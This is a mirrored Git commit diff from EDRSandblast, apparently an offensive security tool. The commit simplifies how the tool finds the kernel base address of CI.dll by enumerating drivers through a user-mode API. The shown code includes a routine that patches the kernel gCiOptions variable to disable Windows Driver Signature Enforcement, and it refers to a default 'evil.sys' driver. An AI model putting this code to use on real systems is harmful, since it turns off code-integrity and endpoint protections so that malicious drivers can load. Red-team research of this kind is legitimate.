mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-11 01:41:20 +00:00
CiOptions: Simplifies the way CI.dll base address is recovered
Instead of using the kernel R/W primitive, uses userland API to enumerate kernel modules
This commit is contained in:
@@ -2,10 +2,12 @@
|
|||||||
#pragma comment(lib, "ntdll.lib")
|
#pragma comment(lib, "ntdll.lib")
|
||||||
#define DEFAULT_EVIL_DRIVER_FILE TEXT("evil.sys")
|
#define DEFAULT_EVIL_DRIVER_FILE TEXT("evil.sys")
|
||||||
|
|
||||||
|
#include "PrintFunctions.h"
|
||||||
|
|
||||||
#if !defined(PRINT_ERROR_AUTO)
|
#if !defined(PRINT_ERROR_AUTO)
|
||||||
#define PRINT_ERROR_AUTO(func) _tprintf_or_not(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError())
|
#define PRINT_ERROR_AUTO(func) _tprintf_or_not(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError())
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
BOOLEAN IsCiEnabled();
|
BOOLEAN IsCiEnabled();
|
||||||
DWORD64 FindCIBaseAddress(BOOL verbose);
|
DWORD64 FindCIBaseAddress();
|
||||||
BOOL patch_gCiOptions(DWORD64 CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue);
|
BOOL patch_gCiOptions(DWORD64 CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue);
|
||||||
|
|||||||
@@ -2,6 +2,7 @@
|
|||||||
#include <Windows.h>
|
#include <Windows.h>
|
||||||
|
|
||||||
DWORD64 FindNtoskrnlBaseAddress(void);
|
DWORD64 FindNtoskrnlBaseAddress(void);
|
||||||
|
DWORD64 FindKernelModuleAddressByName(_In_ LPTSTR name);
|
||||||
TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset);
|
TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset);
|
||||||
TCHAR* FindDriverPath(DWORD64 address);
|
TCHAR* FindDriverPath(DWORD64 address);
|
||||||
DWORD64 GetKernelFunctionAddress(LPCSTR function);
|
DWORD64 GetKernelFunctionAddress(LPCSTR function);
|
||||||
|
|||||||
@@ -1,5 +1,8 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <tchar.h>
|
||||||
|
|
||||||
#define NO_STRINGS 0
|
#define NO_STRINGS 0
|
||||||
|
|
||||||
#if NO_STRINGS
|
#if NO_STRINGS
|
||||||
|
|||||||
@@ -1,8 +1,6 @@
|
|||||||
#include "windows.h"
|
#include "windows.h"
|
||||||
#include "KernelDSE.h"
|
#include "KernelDSE.h"
|
||||||
#include "winternl.h"
|
#include "winternl.h"
|
||||||
#include "stdio.h" // for printf
|
|
||||||
//#include "ntstatus.h"
|
|
||||||
#include "KernelCallbacks.h"
|
#include "KernelCallbacks.h"
|
||||||
#include "NtoskrnlOffsets.h"
|
#include "NtoskrnlOffsets.h"
|
||||||
#include "PrintFunctions.h"
|
#include "PrintFunctions.h"
|
||||||
@@ -10,7 +8,6 @@
|
|||||||
#include "KernelUtils.h"
|
#include "KernelUtils.h"
|
||||||
#include "tchar.h"
|
#include "tchar.h"
|
||||||
|
|
||||||
#define nullptr ((void*)0)
|
|
||||||
|
|
||||||
BOOLEAN IsCiEnabled()
|
BOOLEAN IsCiEnabled()
|
||||||
{
|
{
|
||||||
@@ -18,7 +15,7 @@
|
|||||||
const NTSTATUS Status = NtQuerySystemInformation(SystemCodeIntegrityInformation,
|
const NTSTATUS Status = NtQuerySystemInformation(SystemCodeIntegrityInformation,
|
||||||
&CiInfo,
|
&CiInfo,
|
||||||
sizeof(CiInfo),
|
sizeof(CiInfo),
|
||||||
nullptr);
|
NULL);
|
||||||
if (!NT_SUCCESS(Status))
|
if (!NT_SUCCESS(Status))
|
||||||
printf_or_not("[-] Failed to query code integrity status: %08X\n", Status);
|
printf_or_not("[-] Failed to query code integrity status: %08X\n", Status);
|
||||||
|
|
||||||
@@ -26,34 +23,17 @@
|
|||||||
(CODEINTEGRITY_OPTION_ENABLED | CODEINTEGRITY_OPTION_TESTSIGN)) == CODEINTEGRITY_OPTION_ENABLED;
|
(CODEINTEGRITY_OPTION_ENABLED | CODEINTEGRITY_OPTION_TESTSIGN)) == CODEINTEGRITY_OPTION_ENABLED;
|
||||||
}
|
}
|
||||||
|
|
||||||
DWORD64 FindCIBaseAddress(BOOL verbose) {
|
DWORD64 FindCIBaseAddress() {
|
||||||
DWORD64 NotifyRoutineAddress = GetNotifyRoutineAddress(CREATE_PROCESS_ROUTINE);
|
DWORD64 CiBaseAddress = FindKernelModuleAddressByName(TEXT("CI.dll"));
|
||||||
SIZE_T CurrentEDRCallbacksCount = 0;
|
|
||||||
DWORD64 CiBaseAddress = 0;
|
|
||||||
DWORD64 driverOffset = 0;
|
|
||||||
DWORD64 callback = 0;
|
|
||||||
DWORD64 cbFunction = 0;
|
|
||||||
TCHAR* driver = NULL;
|
|
||||||
DWORD64 callback_struct = 0;
|
|
||||||
for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) {
|
|
||||||
DWORD64 callback_struct = ReadMemoryDWORD64(NotifyRoutineAddress + (i * sizeof(DWORD64)));
|
|
||||||
if (callback_struct != 0) {
|
|
||||||
callback = (callback_struct & ~0b1111) + 8; //TODO : replace this hardcoded offset ?
|
|
||||||
cbFunction = ReadMemoryDWORD64(callback);
|
|
||||||
driver = FindDriverName(cbFunction, &driverOffset);
|
|
||||||
if (_tcscmp(driver, L"CI.dll") == 0) {
|
|
||||||
CiBaseAddress = cbFunction - driverOffset;
|
|
||||||
if (verbose)
|
|
||||||
_tprintf_or_not(TEXT("[+] %s FOUND at %016llx - 0x%llx : 0x%llx\n"), driver, cbFunction, driverOffset, CiBaseAddress);
|
|
||||||
return CiBaseAddress;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
*/
|
|
||||||
return CiBaseAddress;
|
return CiBaseAddress;
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL patch_gCiOptions(DWORD64 CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue) {
|
/*
|
||||||
|
* Patches the gCiOptions global variable in CI.dll module to enable/disable DSE
|
||||||
|
* Warning: this technique does not work with KDP enabled (by default on Win 11).
|
||||||
|
* TODO: see https://www.fortinet.com/blog/threat-research/driver-signature-enforcement-tampering for ideas of new bypasses
|
||||||
|
*/
|
||||||
|
BOOL patch_gCiOptions(DWORD64 CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue) {//PRFIX : not KDP proof
|
||||||
*OldCiOptionsValue = ReadMemoryDWORD(CiVariableAddress);
|
*OldCiOptionsValue = ReadMemoryDWORD(CiVariableAddress);
|
||||||
//printf("[+KERNELDSE] The value of gCI at 0x%llx is 0x%x.\n", CiVariableAddress, *OldCiOptionsValue);
|
//printf("[+KERNELDSE] The value of gCI at 0x%llx is 0x%x.\n", CiVariableAddress, *OldCiOptionsValue);
|
||||||
WriteMemoryDWORD(CiVariableAddress, CiOptionsValue);
|
WriteMemoryDWORD(CiVariableAddress, CiOptionsValue);
|
||||||
|
|||||||
@@ -20,6 +20,31 @@ DWORD64 FindNtoskrnlBaseAddress(void) {
|
|||||||
return g_NtoskrnlBaseAddress;
|
return g_NtoskrnlBaseAddress;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Returns the kernel module's base address, given its name
|
||||||
|
*/
|
||||||
|
DWORD64 FindKernelModuleAddressByName(_In_ LPTSTR name) {
|
||||||
|
LPVOID drivers[1024] = { 0 };
|
||||||
|
DWORD cbNeeded;
|
||||||
|
DWORD cDrivers = 0;
|
||||||
|
TCHAR szDriver[1024] = { 0 };
|
||||||
|
|
||||||
|
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
|
||||||
|
cDrivers = cbNeeded / sizeof(drivers[0]);
|
||||||
|
for (DWORD i = 0; i < cDrivers; i++) {
|
||||||
|
if (drivers[i] && GetDeviceDriverBaseName(drivers[i], szDriver, _countof(szDriver))) {
|
||||||
|
if (_tcsicmp(szDriver, name) == 0) {
|
||||||
|
return (DWORD64) drivers[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_tprintf_or_not(TEXT("[!] Could not resolve %s kernel module's address\n"), name);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* Returns the name of the driver where "address" seems to be located
|
* Returns the name of the driver where "address" seems to be located
|
||||||
* Optionnaly, return in "offset" the distance between "address" and the driver base address.
|
* Optionnaly, return in "offset" the distance between "address" and the driver base address.
|
||||||
|
|||||||
@@ -724,7 +724,7 @@ Other options:\n\
|
|||||||
DWORD64 g_CiOptionsAddress = 0;
|
DWORD64 g_CiOptionsAddress = 0;
|
||||||
if (IsCiEnabled())
|
if (IsCiEnabled())
|
||||||
{
|
{
|
||||||
CiBaseAddress = FindCIBaseAddress(verbose);
|
CiBaseAddress = FindCIBaseAddress();
|
||||||
if (!CiBaseAddress) {
|
if (!CiBaseAddress) {
|
||||||
_putts_or_not(TEXT("[-] CI base address not found !\n"));
|
_putts_or_not(TEXT("[-] CI base address not found !\n"));
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user